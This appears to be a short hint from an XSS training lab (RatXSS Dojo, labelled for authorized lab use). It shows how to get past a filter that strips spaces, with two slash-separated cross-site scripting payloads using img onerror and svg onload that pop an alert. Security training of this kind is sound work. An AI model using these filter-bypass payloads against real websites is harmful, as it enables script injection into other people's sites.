W5 no spaces

Spaces are gone. Use a slash or newline as the tag/attr separator: <img/src/onerror=alert(document.domain)> or <svg/onload=alert(document.domain)>.

RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only